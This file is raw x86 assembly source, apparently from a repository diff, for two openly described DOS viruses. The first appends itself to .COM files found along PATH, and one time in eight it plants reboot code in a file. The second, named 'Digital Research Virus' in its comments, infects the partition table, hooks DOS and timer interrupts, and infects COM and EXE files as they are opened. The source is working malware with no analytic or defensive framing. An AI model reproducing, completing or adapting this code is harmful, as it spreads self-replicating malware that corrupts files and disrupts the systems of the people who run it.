; Save the DTA address
|
||||
;*************************************************************
|
||||
|
||||
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES ;Save the DTA address
|
||||
|
||||
POP ES
|
||||
|
||||
;*************************************************************
|
||||
; Set DTA to point inside the virus data area
|
||||
;*************************************************************
|
||||
|
||||
MOV DX,dta ;Offset of new DTA in virus data area
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Compute DTA address
|
||||
MOV AH,1AH
|
||||
INT 21H ;Set new DTA to inside our own code
|
||||
|
||||
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0 ;ES:DI points to environment
|
||||
|
||||
;************************************************************
|
||||
; Find the "PATH=" string in the environment
|
||||
;************************************************************
|
||||
|
||||
find_path:
|
||||
POP SI
|
||||
PUSH SI ;Get SI back
|
||||
ADD SI,env_str ;Point to "PATH=" string in data area
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
|
||||
REPNZ SCASB ;Search for first character
|
||||
MOV CX,4
|
||||
|
||||
;************************************************************
|
||||
; Loop to check for the next four characters
|
||||
;************************************************************
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
JNZ find_path ;If not all there, abort & start over
|
||||
LOOP check_next_4 ;Loop to check the next character
|
||||
|
||||
POP SI
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI ;Save the address of the PATH
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc ;File name workspace
|
||||
MOV BX,SI ;Save a copy of SI
|
||||
ADD SI,wrk_spc ;Point SI to workspace
|
||||
MOV DI,SI ;Point DI to workspace
|
||||
JMP SHORT slash_ok
|
||||
|
||||
|
||||
;**********************************************************
|
||||
; Look in the PATH for more subdirectories, if any
|
||||
;**********************************************************
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
|
||||
JNZ found_subdir ;If not, there are more subdirectories
|
||||
JMP all_done ;Else, we're all done
|
||||
|
||||
|
||||
;**********************************************************
|
||||
; Here if there are more subdirectories in the path
|
||||
;**********************************************************
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH ;DS points to environment segment
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
||||
ADD DI,wrk_spc ;DI points to file name workspace
|
||||
|
||||
|
||||
;***********************************************************
|
||||
; Move subdirectory name into file name workspace
|
||||
;***********************************************************
|
||||
|
||||
move_subdir:
|
||||
LODSB ;Get character
|
||||
CMP AL,';' ;Is it a ';' delimiter?
|
||||
JZ moved_one ;Yes, found another subdirectory
|
||||
CMP AL,0 ;End of PATH string?
|
||||
JZ moved_last_one ;Yes
|
||||
STOSB ;Save PATH marker into [DI]
|
||||
JMP SHORT move_subdir
|
||||
|
||||
;******************************************************************
|
||||
; Mark the fact that we're looking through the final subdirectory
|
||||
;******************************************************************
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
|
||||
;******************************************************************
|
||||
; Here after we've moved a subdirectory
|
||||
;******************************************************************
|
||||
|
||||
moved_one:
|
||||
POP BX ;Pointer to virus data area
|
||||
POP DS ;Restore DS
|
||||
MOV [BX+path_ad],SI ;Address of next subdirectory
|
||||
NOP
|
||||
|
||||
;******************************************************************
|
||||
; Make sure subdirectory ends in a "\"
|
||||
;******************************************************************
|
||||
|
||||
CMP CH,'\' ;Ends with "\"?
|
||||
JZ slash_ok ;If yes
|
||||
MOV AL,'\' ;Add one, if not
|
||||
STOSB
|
||||
|
||||
|
||||
;******************************************************************
|
||||
; Here after we know there's a backslash at end of subdir
|
||||
;******************************************************************
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
||||
MOV SI,BX ;Restore SI
|
||||
ADD SI,f_spec ;Point to "*.COM"
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move "*.COM",0 to workspace
|
||||
|
||||
MOV SI,BX
|
||||
|
||||
|
||||
;*******************************************************************
|
||||
; Find first string matching *.COM
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;DX points to "*.COM" in workspace
|
||||
MOV CX,3 ;Attributes of Read Only or Hidden OK
|
||||
INT 21H
|
||||
|
||||
JMP SHORT find_first
|
||||
|
||||
|
||||
;*******************************************************************
|
||||
; Find next ASCIIZ string matching *.COM
|
||||
;*******************************************************************
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||||
|
||||
;*******************************************************************
|
||||
; Here when we find a file
|
||||
;*******************************************************************
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1FH ;Mask to remove all but seconds
|
||||
CMP AL,1FH ;62 seconds -> already infected
|
||||
JZ find_next ;If so, go find another file
|
||||
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
|
||||
JA find_next ;If too long, find another one
|
||||
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
|
||||
MOV DI,[SI+nam_ptr] ;DI points to file name
|
||||
PUSH SI ;Save SI
|
||||
ADD SI,dta_nam ;Point SI to file name
|
||||
|
||||
;********************************************************************
|
||||
; Move the name to the end of the path
|
||||
;********************************************************************
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars ;Move characters until we find a 00
|
||||
|
||||
|
||||
;********************************************************************
|
||||
; Get File Attributes
|
||||
;********************************************************************
|
||||
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc ;Point to \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
|
||||
MOV [SI+old_att],CX ;Save the old attributes
|
||||
|
||||
|
||||
;********************************************************************
|
||||
; Rewrite the attributes to allow writing to the file
|
||||
;********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4301H ;Set attributes
|
||||
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
|
||||
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Point to \path\name
|
||||
INT 21H
|
||||
|
||||
;********************************************************************
|
||||
; Open Read/Write channel to the file
|
||||
;********************************************************************
|
||||
|
||||
MOV AX,OFFSET 3D02H ;Read/Write
|
||||
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Point to \path\name
|
||||
INT 21H
|
||||
|
||||
JNB opened_ok ;If file was opened OK
|
||||
JMP fix_attr ;If it failed, restore the attributes
|
||||
|
||||
|
||||
;*******************************************************************
|
||||
; Get the file date & time
|
||||
;*******************************************************************
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
|
||||
;*******************************************************************
|
||||
; Get current system time
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
|
||||
|
||||
AND DH,7 ;Last 3 bits 0? (once in eight)
|
||||
JNZ seven_in_eight
|
||||
|
||||
|
||||
;*******************************************************************
|
||||
; The special "one in eight" infection. If the above line were in
|
||||
; its original form, this code would be run 1/8 of the time, and
|
||||
; rather than appending a copy of this virus to the .COM file, the
|
||||
; file would get 5 bytes of code that reboot the system when the
|
||||
; .COM file is run.
|
||||
;*******************************************************************
|
||||
|
||||
|
||||
MOV AH,40H ;Write to file
|
||||
MOV CX,5 ;Five bytes
|
||||
MOV DX,SI
|
||||
ADD DX,reboot ;Offset of reboot code in data area
|
||||
INT 21H
|
||||
|
||||
JMP SHORT fix_time_stamp
|
||||
|
||||
NOP
|
||||
|
||||
|
||||
;******************************************************************
|
||||
; Here's where we infect a .COM file with this virus
|
||||
;******************************************************************
|
||||
|
||||
seven_in_eight:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
|
||||
JB fix_time_stamp ;Quit, if read failed
|
||||
|
||||
CMP AX,3 ;Were we able to read all 3 bytes?
|
||||
JNZ fix_time_stamp ;Quit, if not
|
||||
|
||||
|
||||
;******************************************************************
|
||||
; Move file pointer to end of file
|
||||
;******************************************************************
|
||||
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Quit, if it didn't work
|
||||
|
||||
MOV CX,AX ;DX:AX (long int) = file size
|
||||
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
|
||||
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
|
||||
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI ;Point DI to virus data area
|
||||
SUB DI,OFFSET c_len_x
|
||||
;Point DI to reference vir_dat, at start of pgm
|
||||
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
|
||||
|
||||
|
||||
;*******************************************************************
|
||||
; Write virus code to file
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
|
||||
MOV_CX virlen ;Length of virus, in bytes
|
||||
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||||
; address of virus code in memory
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
CMP AX,OFFSET virlen ;All bytes written?
|
||||
JNZ fix_time_stamp ;Jump if error
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Move file pointer to beginning of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Write the 3 byte JMP at the start of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI ;Virus data area
|
||||
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old file date & time, with seconds modified to 62
|
||||
;**********************************************************************
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date] ;Old file date
|
||||
MOV CX,[SI+old_tim] ;Old file time
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Close File
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Restore Old File Attributes
|
||||
;**********************************************************************
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att] ;Old Attributes
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP
|
||||
ADD DX,SI ;DX points to \path\name in workspace
|
||||
INT 21H
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Here when it's time to close it up & end
|
||||
;**********************************************************************
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old DTA
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
|
||||
POP DS
|
||||
|
||||
|
||||
;*************************************************************************
|
||||
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
|
||||
; in since the address in a real JMP 100 is an offset, and the offset
|
||||
; varies from one infected file to the next. By PUSHing an 0100H onto the
|
||||
; stack, we can RET to address 0100H just as though we JMPed there.
|
||||
;**********************************************************************
|
||||
|
||||
quit:
|
||||
POP CX
|
||||
XOR AX,AX
|
||||
XOR BX,BX
|
||||
XOR DX,DX
|
||||
XOR SI,SI
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
|
||||
RET 0FFFFH
|
||||
|
||||
;************************************************************************
|
||||
;The virus data starts here. It's accessed off the SI register, per the
|
||||
; comments as shown
|
||||
;************************************************************************
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
|
||||
;Use this with (SI + old_dta)
|
||||
olddta_ DW 0 ;Old DTA offset
|
||||
|
||||
;Use this with (SI + old_dts)
|
||||
olddts_ DW 0 ;Old DTA segment
|
||||
|
||||
;Use this with (SI + old_tim)
|
||||
oldtim_ DW 0 ;Old Time
|
||||
|
||||
;Use this with (SI + ol_date)
|
||||
oldate_ DW 0 ;Old date
|
||||
|
||||
;Use this with (SI + old_att)
|
||||
oldatt_ DW 0 ;Old file attributes
|
||||
|
||||
|
||||
|
||||
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
|
||||
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
|
||||
|
||||
|
||||
;Here's where the new JMP instruction is worked out
|
||||
|
||||
;Use this with (SI + jmp_op)
|
||||
jmpop_ DB 0E9H ;Start of JMP instruction
|
||||
|
||||
;Use this with (SI + jmp_dsp)
|
||||
jmpdsp_ DW 0 ;The displacement part
|
||||
|
||||
|
||||
|
||||
;This is the type of file we're looking to infect. (SI + f_spec)
|
||||
|
||||
fspec_ DB '*.COM',0
|
||||
|
||||
;Use this with (SI + path_ad)
|
||||
pathad_ DW 0 ;Path address
|
||||
|
||||
;Use this with (SI + nam_ptr)
|
||||
namptr_ DW 0 ;Pointer to start of file name
|
||||
|
||||
;Use this with (SI + env_str)
|
||||
envstr_ DB 'PATH=' ;Find this in the environment
|
||||
|
||||
;File name workspace (SI + wrk_spc)
|
||||
wrkspc_ DB 40h dup (0)
|
||||
|
||||
;Use this with (SI + dta)
|
||||
dta_ DB 16h dup (0) ;Temporary DTA goes here
|
||||
|
||||
;Use this with (SI + dta_tim)
|
||||
dtatim_ DW 0,0 ;Time stamp in DTA
|
||||
|
||||
;Use this with (SI + dta_len)
|
||||
dtalen_ DW 0,0 ;File length in the DTA
|
||||
|
||||
;Use this with (SI + dta_nam)
|
||||
dtanam_ DB 0Dh dup (0) ;File name in the DTA
|
||||
|
||||
;Use this with (SI + reboot)
|
||||
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
|
||||
|
||||
|
||||
lst_byt EQU $ ;All lines that assemble into code are
|
||||
; above this one
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
;The virus needs to know a few details about its own size and the size of its
|
||||
; code portion. Let the assembler figure out these sizes automatically.
|
||||
;*****************************************************************************
|
||||
|
||||
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
|
||||
codelen = vir_dat - v_start ;Length of virus code, only
|
||||
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
|
||||
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
;Because this code is being appended to the end of an executable file, the
|
||||
; exact address of its variables cannot be known. All are accessed as offsets
|
||||
; from SI, which is represented as vir_dat in the below declarations.
|
||||
;*****************************************************************************
|
||||
|
||||
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
|
||||
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
|
||||
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
|
||||
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
|
||||
old_att = oldatt_ - vir_dat ;Displacement to old attributes
|
||||
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
|
||||
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
|
||||
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
|
||||
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
|
||||
path_ad = pathad_ - vir_dat ;Displacement to the path address
|
||||
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
|
||||
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
|
||||
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
|
||||
dta = dta_ - vir_dat ;Displacement to the temporary DTA
|
||||
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
|
||||
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
|
||||
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
|
||||
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
|
||||
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
||||
|
|
@ -0,0 +1,571 @@
|
|||
cseg segment public 'code'
|
||||
assume cs:cseg,ds:cseg,es:cseg
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; This virus is an com, exe and partitiontable infector. It will become resident
|
||||
; after the first reboot. The virus is stored above TOM but below 640k.
|
||||
; When the virus is resident the virus will infect every com and exe-file that
|
||||
; is created or opend for read and write. The virus doesn't use any stealth
|
||||
; techniques. The virus doesn't do anything besides replicate. I don't have
|
||||
; a good name for it, so I named it 'Digital Research Virus'.
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
SectorCount equ (CodeEnd-$+1ffh) shr 9 ; Codesize in sectors
|
||||
MemoryCount equ (DataEnd-$+3ffh) shr 10 ; Memory needed in kb
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; The first part of a com-file is overwritten by the following code
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
ComCS equ this word+4
|
||||
|
||||
ComEntry:
|
||||
mov dx,cs
|
||||
add dx,100h
|
||||
push dx
|
||||
mov dx,offset MainCOM
|
||||
push dx
|
||||
retf
|
||||
dw 0DEADh
|
||||
|
||||
EntrySize equ ($-ComEntry)
|
||||
SavedCode equ this word ; orginal com-entry code
|
||||
|
||||
OldCSIP equ this dword ; orginal ip,cs,ss and sp
|
||||
OldIP dw 0
|
||||
OldCS dw -10h
|
||||
OldSS dw 0
|
||||
OldSP dw 400h
|
||||
db EntrySize-8 dup(0)
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; The first part of the bootsector is overwritten by the folowing code
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
BootSector:
|
||||
cli ; disable interrupts
|
||||
xor bx,bx ; set ds and ss:sp
|
||||
mov ds,bx
|
||||
mov ss,bx
|
||||
mov sp,7c00h
|
||||
sti ; enable interrupts
|
||||
mov ax,ds:[413h] ; get memorysize
|
||||
sub ax,MemoryCount ; adjust memory size
|
||||
mov ds:[413h],ax ; store new memorysize
|
||||
mov cl,6 ; calculate segment address
|
||||
shl ax,cl
|
||||
mov es,ax
|
||||
push ax ; store segment and offset
|
||||
mov ax,offset StartUp ; of startup on stack
|
||||
push ax
|
||||
mov ax,200h+SectorCount ; read the virus from disk
|
||||
mov cx,2
|
||||
mov dx,80h
|
||||
int 13h
|
||||
retf ; jump to startup procedure
|
||||
|
||||
BootSize equ ($-BootSector)
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; startup procedure
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
StartUp:
|
||||
cli ; disable interrupts
|
||||
mov ax,offset Interrupt8 ; save old interrupt 8 vector
|
||||
xchg ax,ds:[20h] ; and store new vector
|
||||
mov word ptr es:SavedInt8[0],ax
|
||||
mov ax,cs
|
||||
xchg ax,ds:[22h]
|
||||
mov word ptr es:SavedInt8[2],ax
|
||||
mov cs:Count,182
|
||||
sti ; enable interrupts
|
||||
push ds ; es=ds
|
||||
pop es
|
||||
mov bx,7c00h
|
||||
push es ; store segment and offset of
|
||||
push bx ; bootsector on stack
|
||||
mov ax,201h ; read bootsector from disk
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h
|
||||
push cs ; ds=cs
|
||||
pop ds
|
||||
mov si,offset OrginalBoot ; restore first part of
|
||||
mov di,7c00h ; bootsector
|
||||
mov cx,BootSize
|
||||
rep movsb
|
||||
push es ; ds=es
|
||||
pop ds
|
||||
retf ; jump to bootsector
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; This interrupt will do nothing until it's called for the 182nd time, at that
|
||||
; moment 10 seconds have past, and the virus will adjust interrupt vector 13h
|
||||
; and 21h
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
Count dw 182
|
||||
|
||||
Interrupt8:
|
||||
cmp cs:Count,0 ; do nothing if interrupts
|
||||
jz Old8 ; are adjusted
|
||||
dec cs:Count ; countdown (10 seconds)
|
||||
jnz Old8
|
||||
push ax ; save registers
|
||||
push ds
|
||||
xor ax,ax ; ds=0 (Interrupt vectors)
|
||||
mov ds,ax
|
||||
mov ax,offset Interrupt21 ; save old interrupt vector 21
|
||||
xchg ax,ds:[84h] ; and store new vector
|
||||
mov word ptr cs:SavedInt21[0],ax
|
||||
mov ax,cs
|
||||
xchg ax,ds:[86h]
|
||||
mov word ptr cs:SavedInt21[2],ax
|
||||
mov cs:Handle,0
|
||||
pop ds ; restore registers
|
||||
pop ax
|
||||
Old8: jmp cs:SavedInt8
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; This interrupt is installed after 10 seconds, it will then infect every exe
|
||||
; file that is created or opened to write. It also contains an installation
|
||||
; check
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
Interrupt21:
|
||||
cmp ah,30h
|
||||
je Version ; dos version
|
||||
cmp ah,3ch
|
||||
je Open ; create file
|
||||
cmp ax,3d02h
|
||||
je Open ; open for write
|
||||
cmp ah,3eh
|
||||
je Close ; close file
|
||||
Old21: jmp cs:SavedInt21 ; do orginal interrupt
|
||||
|
||||
Open: cmp cs:Handle,0 ; other exe-file opnened ?
|
||||
jne Old21 ; yes, can't do anything
|
||||
call CheckExe ; check for .exe extension
|
||||
jnc ExeFile
|
||||
call CheckCom
|
||||
jnc ComFile
|
||||
jmp Old21
|
||||
|
||||
ComFile:pushf ; execute orginal interrupt
|
||||
call cs:SavedInt21
|
||||
jc Fail ; error opening file
|
||||
mov cs:Handle,ax ; store handle for infection
|
||||
mov cs:Infect,offset InfectCOM ; store infect procedure
|
||||
retf 2
|
||||
|
||||
ExeFile:pushf ; execute orginal interrupt
|
||||
call cs:SavedInt21
|
||||
jc Fail ; error opening file
|
||||
mov cs:Handle,ax ; store handle for infection
|
||||
mov cs:Infect,offset InfectEXE ; store infect procedure
|
||||
Fail: retf 2
|
||||
|
||||
Close: or bx,bx ; handle 0 ?
|
||||
je Old21 ; do orginal interrupt
|
||||
cmp bx,cs:Handle ; handle of exe-file ?
|
||||
jne Old21 ; no, do orginal interrupt
|
||||
call cs:Infect ; infect file
|
||||
mov cs:Handle,0
|
||||
jmp Old21 ; do orginal interrupt
|
||||
|
||||
Version:cmp dx,0DEADh ; installation check
|
||||
jne Old21 ; no, do orginal interrupt
|
||||
mov ax,dx ; ax=dx
|
||||
iret ; return to caller
|
||||
|
||||
Extension db 'EXE','COM'
|
||||
|
||||
CheckEXE:
|
||||
push bx
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov bx,offset Extension[0]
|
||||
call Check
|
||||
pop es
|
||||
pop bx
|
||||
ret
|
||||
|
||||
CheckCOM:
|
||||
push bx
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov bx,offset Extension[3]
|
||||
call Check
|
||||
pop es
|
||||
pop bx
|
||||
ret
|
||||
|
||||
Check: push ax ; check if extension is .exe
|
||||
push cx ; save registers
|
||||
push si
|
||||
push di
|
||||
mov al,0 ; al=0
|
||||
mov cx,100h ; max length is 100h characters
|
||||
mov di,dx ; di=begin of filename
|
||||
Nxt: jcxz Other ; length > 100h characters,
|
||||
; must be an other file
|
||||
inc di
|
||||
dec cx
|
||||
cmp byte ptr ds:[di-1],0 ; end of filename ?
|
||||
je Last
|
||||
cmp byte ptr ds:[di-1],'.' ; point ?
|
||||
jne Nxt ; no, next character
|
||||
mov si,di ; si=di, si=last point
|
||||
mov al,1 ; al=1, al=1 if point found
|
||||
jmp Nxt ; next character
|
||||
Last: or al,al ; point found ?
|
||||
je Other ; no, it's not an exe-file
|
||||
mov di,bx
|
||||
cld
|
||||
lodsw ; get 2 bytes after '.'
|
||||
and ax,0dfdfh ; uppercase
|
||||
scasw ; compare
|
||||
jne Other
|
||||
lodsb ; get 1 byte
|
||||
and al,0dfh ; uppercase
|
||||
scasb ; compare
|
||||
jne Other ; no, not an exe-file
|
||||
clc ; clear carry, exe-file
|
||||
jmp Done ; return to caller
|
||||
Other: stc ; set carry, not an exe-file
|
||||
Done: pop di ; restore registers
|
||||
pop si
|
||||
pop cx
|
||||
pop ax
|
||||
ret ; return to caller
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; this procedure infects an exe-file that is opened and the handle is in bx
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
InfectEXE:
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push cs ; ds=es=cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ax,4200h ; goto top of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call DOS
|
||||
mov ah,3fh ; read exe-header
|
||||
mov cx,1ch
|
||||
mov dx,offset ExeHeader
|
||||
call ReadWrite
|
||||
cmp ChkSum,0DEADh
|
||||
call ReturnEqual
|
||||
mov ChkSum,0DEADh
|
||||
mov ax,ExeIP ; save orginal ip,cs,ss and sp
|
||||
mov OldIP,ax
|
||||
mov ax,ExeCS
|
||||
mov OldCS,ax
|
||||
mov ax,ExeSS
|
||||
mov OldSS,ax
|
||||
mov ax,ExeSP
|
||||
mov OldSP,ax
|
||||
mov ax,PageCount ; calculate new cs and ss
|
||||
mov dx,PartPage
|
||||
or dx,dx
|
||||
jz Zero1
|
||||
dec ax
|
||||
Zero1: add dx,0fh
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
inc cl
|
||||
shl ax,cl
|
||||
add ax,dx
|
||||
mov dx,ax
|
||||
sub dx,HeaderSize
|
||||
mov ExeCS,dx ; store new cs,ip,ss and sp
|
||||
mov ExeIP,offset MainEXE
|
||||
mov ExeSS,dx
|
||||
mov ExeSP,offset CodeSize+800h
|
||||
mov dx,10h ; calculate offset in file
|
||||
mul dx
|
||||
push ax ; save offset
|
||||
push dx
|
||||
add ax,offset CodeSize ; calculate new image size
|
||||
adc dx,0
|
||||
mov cx,200h
|
||||
div cx
|
||||
or dx,dx
|
||||
je Zero2
|
||||
inc ax
|
||||
Zero2: mov PageCount,ax
|
||||
mov PartPage,dx
|
||||
cmp MinMem,80h
|
||||
jae MinOk
|
||||
mov MinMem,80h
|
||||
MinOk: cmp MaxMem,80h
|
||||
jae MaxOk
|
||||
mov MaxMem,80h
|
||||
MaxOk: pop cx ; restore offset
|
||||
pop dx
|
||||
mov ax,4200h ; goto found offset
|
||||
call DOS
|
||||
mov ah,40h ; write virus
|
||||
mov cx,offset CodeSize
|
||||
xor dx,dx
|
||||
call ReadWrite
|
||||
mov ax,4200h ; goto top of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call DOS
|
||||
mov ah,40h ; write new exe-header
|
||||
mov cx,1ch
|
||||
mov dx,offset ExeHeader
|
||||
call DOS
|
||||
jmp Return
|
||||
Error: add sp,2 ; get return address of stack
|
||||
Return: pop es ; restore registers
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
ret ; return to caller
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; jumps to error when z-flag is 1
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
ReturnEqual:
|
||||
je Error
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; this procedure executes the orginal interrupt 21h, if ax is not equal to cx
|
||||
; an error occured. This procedure is called from InfectEXE and InfectCOM
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
ReadWrite:
|
||||
pushf
|
||||
cli
|
||||
call cs:SavedInt21
|
||||
jc Error
|
||||
cmp ax,cx
|
||||
jne Error
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; this procedure executes the orginal interrupt 21h, and is called from
|
||||
; InfectEXE and InfectCOM
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
DOS: pushf ; call orginal interrupt 21h
|
||||
cli
|
||||
call cs:SavedInt21
|
||||
jc Error ; error? yes, jump to error
|
||||
ret ; return to caller
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; this procedure infects an exe-file that is opened and the handle is in bx
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
InfectCOM:
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push cs ; ds=es=cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ax,4200h ; goto top of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call DOS
|
||||
